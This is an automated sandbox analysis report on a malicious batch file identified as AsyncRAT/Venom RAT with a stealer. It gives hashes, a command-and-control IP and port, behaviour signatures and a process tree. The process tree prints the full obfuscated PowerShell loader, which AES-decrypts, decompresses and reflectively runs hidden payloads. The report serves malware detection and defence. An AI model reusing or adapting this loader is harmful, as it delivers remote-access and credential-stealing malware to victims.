Analysis

  • max time kernel
    92s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2024 01:25

General

  • Target

    59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat

  • Size

    6.9MB

  • MD5

    a65e873839228c5b453d6effa5d14d16

  • SHA1

    40be429e0e6b41061f3291d10e720eaebf32eda1

  • SHA256

    59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951

  • SHA512

    84ec1da7d5f5fe236c7fbe960b69d99ae0b6d3fe83844cd2bf3128508d39ad1de35f17dcb101e06fb25b155a806885bb5d6d095fbf3e0a3c729c678fa200f850

  • SSDEEP

    24576:ClNzlllllllllllllllllllllllllllllllllllllllllllllllllllllllllllg:/

Score
10/10

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

194.48.251.169:4449

Mutex

wmdekgrrot

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Detects executables attemping to enumerate video devices using WMI 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1444
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat';$XgWC='CJCPqopJCPqyToJCPq'.Replace('JCPq', ''),'DeKEVccoKEVcmKEVcpKEVcreKEVcsKEVcsKEVc'.Replace('KEVc', ''),'GeAJwHtCAJwHurrAJwHeAJwHntAJwHProAJwHceAJwHssAJwH'.Replace('AJwH', ''),'CGqtVreGqtVateGqtVDGqtVecrGqtVypGqtVtoGqtVrGqtV'.Replace('GqtV', ''),'TrashffnsfshfforshffmshffFinshffashfflBlshffocshffkshff'.Replace('shff', ''),'LoaAcuudAcuu'.Replace('Acuu', ''),'EnPhDKtPhDKrPhDKyPoPhDKiPhDKntPhDK'.Replace('PhDK', ''),'InvjPegokejPeg'.Replace('jPeg', ''),'ChBNFcangBNFceEBNFcxtBNFcenBNFcsBNFciBNFconBNFc'.Replace('BNFc', ''),'MamJZeimJZenmJZeMomJZedumJZelemJZe'.Replace('mJZe', ''),'SDiPVplDiPViDiPVtDiPV'.Replace('DiPV', ''),'ReZkbLadLZkbLinZkbLeZkbLsZkbL'.Replace('ZkbL', ''),'FBIJjrBIJjomBBIJjaBIJjseBIJj64BIJjStrBIJjiBIJjngBIJj'.Replace('BIJj', ''),'EleFaTTmeFaTTnFaTTtAFaTTtFaTT'.Replace('FaTT', '');powershell -w hidden;function nHhmY($bfNRC){$Wqjzg=[System.Security.Cryptography.Aes]::Create();$Wqjzg.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Wqjzg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Wqjzg.Key=[System.Convert]::($XgWC[12])('0/mNfjofNmhTDWKM5pVXBX9kZTvZAJfnb+xHxm0CsMs=');$Wqjzg.IV=[System.Convert]::($XgWC[12])('mimfsJsCvsdSCjq6OJjGsw==');$mEsqN=$Wqjzg.($XgWC[3])();$cIvUt=$mEsqN.($XgWC[4])($bfNRC,0,$bfNRC.Length);$mEsqN.Dispose();$Wqjzg.Dispose();$cIvUt;}function Jxpsl($bfNRC){$DhsxW=New-Object System.IO.MemoryStream(,$bfNRC);$abuYQ=New-Object System.IO.MemoryStream;$hMgwC=New-Object System.IO.Compression.GZipStream($DhsxW,[IO.Compression.CompressionMode]::($XgWC[1]));$hMgwC.($XgWC[0])($abuYQ);$hMgwC.Dispose();$DhsxW.Dispose();$abuYQ.Dispose();$abuYQ.ToArray();}$vXkJe=[System.IO.File]::($XgWC[11])([Console]::Title);$JakZo=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 5).Substring(2))));$GFnOO=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 6).Substring(2))));[System.Reflection.Assembly]::($XgWC[5])([byte[]]$GFnOO).($XgWC[6]).($XgWC[7])($null,$null);[System.Reflection.Assembly]::($XgWC[5])([byte[]]$JakZo).($XgWC[6]).($XgWC[7])($null,$null); "
        3⤵
          PID:1044
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4148
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1216

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yrtyarea.0hc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1216-24-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp

      Filesize

      10.8MB

    • memory/1216-29-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp

      Filesize

      10.8MB

    • memory/1216-25-0x00000193357E0000-0x00000193357F0000-memory.dmp

      Filesize

      64KB

    • memory/1216-26-0x00000193357E0000-0x00000193357F0000-memory.dmp

      Filesize

      64KB

    • memory/4148-34-0x0000016837E60000-0x0000016837E78000-memory.dmp

      Filesize

      96KB

    • memory/4148-31-0x00007FFD1F510000-0x00007FFD1F705000-memory.dmp

      Filesize

      2.0MB

    • memory/4148-13-0x0000016837EA0000-0x0000016837EE4000-memory.dmp

      Filesize

      272KB

    • memory/4148-11-0x00000168359F0000-0x0000016835A00000-memory.dmp

      Filesize

      64KB

    • memory/4148-12-0x00000168359F0000-0x0000016835A00000-memory.dmp

      Filesize

      64KB

    • memory/4148-10-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp

      Filesize

      10.8MB

    • memory/4148-32-0x00007FFD1D720000-0x00007FFD1D7DE000-memory.dmp

      Filesize

      760KB

    • memory/4148-6-0x0000016837A70000-0x0000016837A92000-memory.dmp

      Filesize

      136KB

    • memory/4148-33-0x0000016837E50000-0x0000016837E60000-memory.dmp

      Filesize

      64KB

    • memory/4148-14-0x0000016837F70000-0x0000016837FE6000-memory.dmp

      Filesize

      472KB

    • memory/4148-30-0x0000016837C30000-0x0000016837C38000-memory.dmp

      Filesize

      32KB

    • memory/4148-36-0x00000168359F0000-0x0000016835A00000-memory.dmp

      Filesize

      64KB

    • memory/4148-37-0x00007FFD11510000-0x00007FFD11529000-memory.dmp

      Filesize

      100KB

    • memory/4148-38-0x00000168359F0000-0x0000016835A00000-memory.dmp

      Filesize

      64KB

    • memory/4148-40-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp

      Filesize

      10.8MB

    • memory/4148-42-0x00000168359F0000-0x0000016835A00000-memory.dmp

      Filesize

      64KB

    • memory/4148-43-0x00000168359F0000-0x0000016835A00000-memory.dmp

      Filesize

      64KB

    • memory/4148-44-0x00000168359F0000-0x0000016835A00000-memory.dmp

      Filesize

      64KB

    • memory/4148-45-0x00000168359F0000-0x0000016835A00000-memory.dmp

      Filesize

      64KB